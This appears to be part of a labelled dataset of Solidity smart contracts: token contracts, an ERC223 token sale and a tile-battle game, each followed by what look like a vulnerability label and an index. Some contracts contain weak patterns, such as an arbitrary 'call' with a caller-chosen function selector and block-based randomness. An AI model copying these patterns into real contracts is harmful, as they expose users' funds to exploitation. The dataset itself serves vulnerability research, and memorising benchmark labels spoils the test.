allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue)public returns(bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback)public returns(bool success) {
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_to]);
if (isContract(_to)) {
return transferToContractWithCustomFallback(_to, _value, _data, _custom_fallback);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data)public returns(bool) {
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function isContract(address _addr)private view returns(bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes _data)private returns(bool success) {
require(balanceOf(msg.sender) > _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToContract(address _to, uint _value, bytes _data)private returns(bool success) {
require(balanceOf(msg.sender) > _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToContractWithCustomFallback(address _to, uint _value, bytes _data, string _custom_fallback)private returns(bool success) {
require(balanceOf(msg.sender) > _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function setPreICOSoldAmount(uint256 _soldTokens, uint256 _raisedWei)onlyOwner beforeICO public {
tokensSold = tokensSold.add(_soldTokens);
totalWeiRaised = totalWeiRaised.add(_raisedWei);
}
function freezeAccount(address target, bool freeze)onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function burn(uint256 _value)onlyOwner public returns(bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
return true;
}
function withdrawTokens()onlyOwner public returns(bool) {
require(this.transfer(owner, balances[this]));
uint256 bonusTokens = balances[address(bonusScheme)];
balances[address(bonusScheme)] = 0;
if (bonusTokens > 0) {
balances[owner] = balances[owner].add(bonusTokens);
emit Transfer(address(bonusScheme), owner, bonusTokens);
}
return true;
}
function transferAnyERC20Token(address _tokenAddress, uint256 _amount)onlyOwner public returns(bool success) {
return ERC20(_tokenAddress).transfer(owner, _amount);
}
function claimRefund()public {
require(crowdsaleClosed);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached()public view returns(bool) {
return tokensSold >= softCap;
}
function finalization()internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
}
function finalize()onlyOwner afterDeadline public {
require(!crowdsaleClosed);
finalization();
emit Finalized();
withdrawTokens();
crowdsaleClosed = true;
}
} | 0 | 247 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 8;
uint8 public constant TOKEN_DECIMALS_UINT8 = 8;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "GenPay";
string public constant TOKEN_SYMBOL = "GNP";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0xD66d698d2367896bA7Eb0a20335C0c2A0E64Fbf2;
uint public constant START_TIME = 1544468400;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 1,846 |
pragma solidity ^0.4.18;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Mining is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function Mining() public {
symbol = "MINI";
name = "Mining";
decimals = 18;
_totalSupply = 1.8 * 10000 * 10000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function () public payable {
revert();
}
} | 1 | 4,062 |
pragma solidity ^0.4.21;
library BWUtility {
function ceil(uint _amount, uint _multiple) pure public returns (uint) {
return ((_amount + _multiple - 1) / _multiple) * _multiple;
}
function isAdjacent(uint8 _x1, uint8 _y1, uint8 _x2, uint8 _y2) pure public returns (bool) {
return ((_x1 == _x2 && (_y2 - _y1 == 1 || _y1 - _y2 == 1))) ||
((_y1 == _y2 && (_x2 - _x1 == 1 || _x1 - _x2 == 1))) ||
((_x2 - _x1 == 1 && (_y2 - _y1 == 1 || _y1 - _y2 == 1))) ||
((_x1 - _x2 == 1 && (_y2 - _y1 == 1 || _y1 - _y2 == 1)));
}
function toTileId(uint8 _x, uint8 _y) pure public returns (uint16) {
return uint16(_x) << 8 | uint16(_y);
}
function fromTileId(uint16 _tileId) pure public returns (uint8, uint8) {
uint8 y = uint8(_tileId);
uint8 x = uint8(_tileId >> 8);
return (x, y);
}
function getBoostFromTile(address _claimer, address _attacker, address _defender, uint _blockValue) pure public returns (uint, uint) {
if (_claimer == _attacker) {
return (_blockValue, 0);
} else if (_claimer == _defender) {
return (0, _blockValue);
}
}
}
contract BWData {
address public owner;
address private bwService;
address private bw;
address private bwMarket;
uint private blockValueBalance = 0;
uint private feeBalance = 0;
uint private BASE_TILE_PRICE_WEI = 1 finney;
mapping (address => User) private users;
mapping (uint16 => Tile) private tiles;
struct User {
uint creationTime;
bool censored;
uint battleValue;
}
struct Tile {
address claimer;
uint blockValue;
uint creationTime;
uint sellPrice;
}
struct Boost {
uint8 numAttackBoosts;
uint8 numDefendBoosts;
uint attackBoost;
uint defendBoost;
}
constructor() public {
owner = msg.sender;
}
function () payable public {
revert();
}
function kill() public isOwner {
selfdestruct(owner);
}
modifier isValidCaller {
if (msg.sender != bwService && msg.sender != bw && msg.sender != bwMarket) {
revert();
}
_;
}
modifier isOwner {
if (msg.sender != owner) {
revert();
}
_;
}
function setBwServiceValidCaller(address _bwService) public isOwner {
bwService = _bwService;
}
function setBwValidCaller(address _bw) public isOwner {
bw = _bw;
}
function setBwMarketValidCaller(address _bwMarket) public isOwner {
bwMarket = _bwMarket;
}
function addUser(address _msgSender) public isValidCaller {
User storage user = users[_msgSender];
require(user.creationTime == 0);
user.creationTime = block.timestamp;
}
function hasUser(address _user) view public isValidCaller returns (bool) {
return users[_user].creationTime != 0;
}
function getTile(uint16 _tileId) view public isValidCaller returns (address, uint, uint, uint) {
Tile storage currentTile = tiles[_tileId];
return (currentTile.claimer, currentTile.blockValue, currentTile.creationTime, currentTile.sellPrice);
}
function getTileClaimerAndBlockValue(uint16 _tileId) view public isValidCaller returns (address, uint) {
Tile storage currentTile = tiles[_tileId];
return (currentTile.claimer, currentTile.blockValue);
}
function isNewTile(uint16 _tileId) view public isValidCaller returns (bool) {
Tile storage currentTile = tiles[_tileId];
return currentTile.creationTime == 0;
}
function storeClaim(uint16 _tileId, address _claimer, uint _blockValue) public isValidCaller {
tiles[_tileId] = Tile(_claimer, _blockValue, block.timestamp, 0);
}
function updateTileBlockValue(uint16 _tileId, uint _blockValue) public isValidCaller {
tiles[_tileId].blockValue = _blockValue;
}
function setClaimerForTile(uint16 _tileId, address _claimer) public isValidCaller {
tiles[_tileId].claimer = _claimer;
}
function updateTileTimeStamp(uint16 _tileId) public isValidCaller {
tiles[_tileId].creationTime = block.timestamp;
}
function getCurrentClaimerForTile(uint16 _tileId) view public isValidCaller returns (address) {
Tile storage currentTile = tiles[_tileId];
if (currentTile.creationTime == 0) {
return 0;
}
return currentTile.claimer;
}
function getCurrentBlockValueAndSellPriceForTile(uint16 _tileId) view public isValidCaller returns (uint, uint) {
Tile storage currentTile = tiles[_tileId];
if (currentTile.creationTime == 0) {
return (0, 0);
}
return (currentTile.blockValue, currentTile.sellPrice);
}
function getBlockValueBalance() view public isValidCaller returns (uint){
return blockValueBalance;
}
function setBlockValueBalance(uint _blockValueBalance) public isValidCaller {
blockValueBalance = _blockValueBalance;
}
function getFeeBalance() view public isValidCaller returns (uint) {
return feeBalance;
}
function setFeeBalance(uint _feeBalance) public isValidCaller {
feeBalance = _feeBalance;
}
function getUserBattleValue(address _userId) view public isValidCaller returns (uint) {
return users[_userId].battleValue;
}
function setUserBattleValue(address _userId, uint _battleValue) public isValidCaller {
users[_userId].battleValue = _battleValue;
}
function verifyAmount(address _msgSender, uint _msgValue, uint _amount, bool _useBattleValue) view public isValidCaller {
User storage user = users[_msgSender];
require(user.creationTime != 0);
if (_useBattleValue) {
require(_msgValue == 0);
require(user.battleValue >= _amount);
} else {
require(_amount == _msgValue);
}
}
function addBoostFromTile(Tile _tile, address _attacker, address _defender, Boost memory _boost) pure private {
if (_tile.claimer == _attacker) {
require(_boost.attackBoost + _tile.blockValue >= _tile.blockValue);
_boost.attackBoost += _tile.blockValue;
_boost.numAttackBoosts += 1;
} else if (_tile.claimer == _defender) {
require(_boost.defendBoost + _tile.blockValue >= _tile.blockValue);
_boost.defendBoost += _tile.blockValue;
_boost.numDefendBoosts += 1;
}
}
function calculateBattleBoost(uint16 _tileId, address _attacker, address _defender) view public isValidCaller returns (uint, uint) {
uint8 x;
uint8 y;
(x, y) = BWUtility.fromTileId(_tileId);
Boost memory boost = Boost(0, 0, 0, 0);
if (y != 255) {
if (x != 255) {
addBoostFromTile(tiles[BWUtility.toTileId(x+1, y+1)], _attacker, _defender, boost);
}
addBoostFromTile(tiles[BWUtility.toTileId(x, y+1)], _attacker, _defender, boost);
if (x != 0) {
addBoostFromTile(tiles[BWUtility.toTileId(x-1, y+1)], _attacker, _defender, boost);
}
}
if (x != 255) {
addBoostFromTile(tiles[BWUtility.toTileId(x+1, y)], _attacker, _defender, boost);
}
if (x != 0) {
addBoostFromTile(tiles[BWUtility.toTileId(x-1, y)], _attacker, _defender, boost);
}
if (y != 0) {
if(x != 255) {
addBoostFromTile(tiles[BWUtility.toTileId(x+1, y-1)], _attacker, _defender, boost);
}
addBoostFromTile(tiles[BWUtility.toTileId(x, y-1)], _attacker, _defender, boost);
if(x != 0) {
addBoostFromTile(tiles[BWUtility.toTileId(x-1, y-1)], _attacker, _defender, boost);
}
}
boost.attackBoost = (boost.attackBoost / 10 * boost.numAttackBoosts);
boost.defendBoost = (boost.defendBoost / 10 * boost.numDefendBoosts);
return (boost.attackBoost, boost.defendBoost);
}
function censorUser(address _userAddress, bool _censored) public isValidCaller {
User storage user = users[_userAddress];
require(user.creationTime != 0);
user.censored = _censored;
}
function deleteTile(uint16 _tileId) public isValidCaller {
delete tiles[_tileId];
}
function setSellPrice(uint16 _tileId, uint _sellPrice) public isValidCaller {
tiles[_tileId].sellPrice = _sellPrice;
}
function deleteOffer(uint16 _tileId) public isValidCaller {
tiles[_tileId].sellPrice = 0;
}
}
interface ERC20I {
function transfer(address _recipient, uint256 _amount) external returns (bool);
function balanceOf(address _holder) external view returns (uint256);
}
contract BWService {
address private owner;
address private bw;
address private bwMarket;
BWData private bwData;
uint private seed = 42;
uint private WITHDRAW_FEE = 20;
modifier isOwner {
if (msg.sender != owner) {
revert();
}
_;
}
modifier isValidCaller {
if (msg.sender != bw && msg.sender != bwMarket) {
revert();
}
_;
}
event TileClaimed(uint16 tileId, address newClaimer, uint priceInWei, uint creationTime);
event TileFortified(uint16 tileId, address claimer, uint addedValueInWei, uint priceInWei, uint fortifyTime);
event TileAttackedSuccessfully(uint16 tileId, address attacker, uint attackAmount, uint totalAttackAmount, address defender, uint defendAmount, uint totalDefendAmount, uint attackRoll, uint attackTime);
event TileDefendedSuccessfully(uint16 tileId, address attacker, uint attackAmount, uint totalAttackAmount, address defender, uint defendAmount, uint totalDefendAmount, uint attackRoll, uint defendTime);
event BlockValueMoved(uint16 sourceTileId, uint16 destTileId, address owner, uint movedBlockValue, uint postSourceValue, uint postDestValue, uint moveTime);
event UserBattleValueUpdated(address userAddress, uint battleValue, bool isWithdraw);
constructor(address _bwData) public {
bwData = BWData(_bwData);
owner = msg.sender;
}
function () payable public {
revert();
}
function kill() public isOwner {
selfdestruct(owner);
}
function setValidBwCaller(address _bw) public isOwner {
bw = _bw;
}
function setValidBwMarketCaller(address _bwMarket) public isOwner {
bwMarket = _bwMarket;
}
function storeInitialClaim(address _msgSender, uint16[] _claimedTileIds, uint _claimAmount, bool _useBattleValue) public isValidCaller {
uint tileCount = _claimedTileIds.length;
require(tileCount > 0);
require(_claimAmount >= 1 finney * tileCount);
require(_claimAmount % tileCount == 0);
uint valuePerBlockInWei = _claimAmount / tileCount;
if (_useBattleValue) {
subUserBattleValue(_msgSender, _claimAmount, false);
}
addGlobalBlockValueBalance(_claimAmount);
uint16 tileId;
bool isNewTile;
for (uint16 i = 0; i < tileCount; i++) {
tileId = _claimedTileIds[i];
isNewTile = bwData.isNewTile(tileId);
require(isNewTile);
emit TileClaimed(tileId, _msgSender, valuePerBlockInWei, block.timestamp);
bwData.storeClaim(tileId, _msgSender, valuePerBlockInWei);
}
}
function fortifyClaims(address _msgSender, uint16[] _claimedTileIds, uint _fortifyAmount, bool _useBattleValue) public isValidCaller {
uint tileCount = _claimedTileIds.length;
require(tileCount > 0);
uint balance = address(this).balance;
require(balance + _fortifyAmount > balance);
require(_fortifyAmount % tileCount == 0);
uint addedValuePerTileInWei = _fortifyAmount / tileCount;
require(_fortifyAmount >= 1 finney * tileCount);
address claimer;
uint blockValue;
for (uint16 i = 0; i < tileCount; i++) {
(claimer, blockValue) = bwData.getTileClaimerAndBlockValue(_claimedTileIds[i]);
require(claimer != 0);
require(claimer == _msgSender);
if (_useBattleValue) {
subUserBattleValue(_msgSender, addedValuePerTileInWei, false);
}
fortifyClaim(_msgSender, _claimedTileIds[i], addedValuePerTileInWei);
}
}
function fortifyClaim(address _msgSender, uint16 _claimedTileId, uint _fortifyAmount) private {
uint blockValue;
uint sellPrice;
(blockValue, sellPrice) = bwData.getCurrentBlockValueAndSellPriceForTile(_claimedTileId);
uint updatedBlockValue = blockValue + _fortifyAmount;
emit TileFortified(_claimedTileId, _msgSender, _fortifyAmount, updatedBlockValue, block.timestamp);
bwData.updateTileBlockValue(_claimedTileId, updatedBlockValue);
addGlobalBlockValueBalance(_fortifyAmount);
}
function random(uint _upper) private returns (uint) {
seed = uint(keccak256(keccak256(blockhash(block.number), seed), now));
return seed % _upper;
}
function attackTile(address _msgSender, uint16 _tileId, uint _attackAmount, bool _useBattleValue, bool _autoFortify) public isValidCaller {
require(_attackAmount >= 1 finney);
require(_attackAmount % 1 finney == 0);
address claimer;
uint blockValue;
(claimer, blockValue) = bwData.getTileClaimerAndBlockValue(_tileId);
require(claimer != 0);
require(claimer != _msgSender);
require(claimer != owner);
uint attackBoost;
uint defendBoost;
(attackBoost, defendBoost) = bwData.calculateBattleBoost(_tileId, _msgSender, claimer);
uint totalAttackAmount = _attackAmount + attackBoost;
uint totalDefendAmount = blockValue + defendBoost;
require(totalAttackAmount >= _attackAmount);
require(totalDefendAmount >= blockValue);
require(totalAttackAmount + totalDefendAmount > totalAttackAmount && totalAttackAmount + totalDefendAmount > totalDefendAmount);
require(totalAttackAmount / 10 <= blockValue);
require(totalAttackAmount >= blockValue / 10);
uint attackRoll = random(totalAttackAmount + totalDefendAmount);
if (attackRoll > totalDefendAmount) {
emit TileAttackedSuccessfully(_tileId, _msgSender, _attackAmount, totalAttackAmount, claimer, blockValue, totalDefendAmount, attackRoll, block.timestamp);
bwData.setClaimerForTile(_tileId, _msgSender);
if (_useBattleValue) {
if (_autoFortify) {
fortifyClaim(_msgSender, _tileId, _attackAmount);
subUserBattleValue(_msgSender, _attackAmount, false);
} else {
}
} else {
if (_autoFortify) {
fortifyClaim(_msgSender, _tileId, _attackAmount);
} else {
addUserBattleValue(_msgSender, _attackAmount);
}
}
} else {
if (_useBattleValue) {
subUserBattleValue(_msgSender, _attackAmount, false);
}
addUserBattleValue(claimer, _attackAmount);
emit TileDefendedSuccessfully(_tileId, _msgSender, _attackAmount, totalAttackAmount, claimer, blockValue, totalDefendAmount, attackRoll, block.timestamp);
bwData.updateTileTimeStamp(_tileId);
}
}
function moveBlockValue(address _msgSender, uint8 _xSource, uint8 _ySource, uint8 _xDest, uint8 _yDest, uint _moveAmount) public isValidCaller {
uint16 sourceTileId = BWUtility.toTileId(_xSource, _ySource);
uint16 destTileId = BWUtility.toTileId(_xDest, _yDest);
address sourceTileClaimer;
address destTileClaimer;
uint sourceTileBlockValue;
uint destTileBlockValue;
(sourceTileClaimer, sourceTileBlockValue) = bwData.getTileClaimerAndBlockValue(sourceTileId);
(destTileClaimer, destTileBlockValue) = bwData.getTileClaimerAndBlockValue(destTileId);
require(sourceTileClaimer == _msgSender);
require(destTileClaimer == _msgSender);
require(_moveAmount >= 1 finney);
require(_moveAmount % 1 finney == 0);
require(sourceTileBlockValue - _moveAmount < sourceTileBlockValue);
require(destTileBlockValue + _moveAmount > destTileBlockValue);
require(BWUtility.isAdjacent(_xSource, _ySource, _xDest, _yDest));
sourceTileBlockValue -= _moveAmount;
destTileBlockValue += _moveAmount;
if (sourceTileBlockValue == 0) {
bwData.deleteTile(sourceTileId);
} else {
bwData.updateTileBlockValue(sourceTileId, sourceTileBlockValue);
bwData.deleteOffer(sourceTileId);
}
bwData.updateTileBlockValue(destTileId, destTileBlockValue);
bwData.deleteOffer(destTileId);
emit BlockValueMoved(sourceTileId, destTileId, _msgSender, _moveAmount, sourceTileBlockValue, destTileBlockValue, block.timestamp);
}
function withdrawBattleValue(address msgSender, uint _battleValueInWei) public isValidCaller returns (uint) {
require(bwData.hasUser(msgSender));
require(_battleValueInWei % 1 finney == 0);
uint fee = _battleValueInWei / WITHDRAW_FEE;
require(_battleValueInWei - fee < _battleValueInWei);
uint amountToWithdraw = _battleValueInWei - fee;
uint feeBalance = bwData.getFeeBalance();
require(feeBalance + fee >= feeBalance);
feeBalance += fee;
bwData.setFeeBalance(feeBalance);
subUserBattleValue(msgSender, _battleValueInWei, true);
return amountToWithdraw;
}
function addUserBattleValue(address _userId, uint _amount) public isValidCaller {
uint userBattleValue = bwData.getUserBattleValue(_userId);
require(userBattleValue + _amount > userBattleValue);
uint newBattleValue = userBattleValue + _amount;
bwData.setUserBattleValue(_userId, newBattleValue);
emit UserBattleValueUpdated(_userId, newBattleValue, false);
}
function subUserBattleValue(address _userId, uint _amount, bool _isWithdraw) public isValidCaller {
uint userBattleValue = bwData.getUserBattleValue(_userId);
require(_amount <= userBattleValue);
uint newBattleValue = userBattleValue - _amount;
bwData.setUserBattleValue(_userId, newBattleValue);
emit UserBattleValueUpdated(_userId, newBattleValue, _isWithdraw);
}
function addGlobalBlockValueBalance(uint _amount) public isValidCaller {
uint blockValueBalance = bwData.getBlockValueBalance();
require(blockValueBalance + _amount > blockValueBalance);
bwData.setBlockValueBalance(blockValueBalance + _amount);
}
function transferTokens(address _tokenAddress, address _recipient) public isOwner {
ERC20I token = ERC20I(_tokenAddress);
require(token.transfer(_recipient, token.balanceOf(this)));
}
} | 0 | 1,509 |
pragma solidity 0.4.25;
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
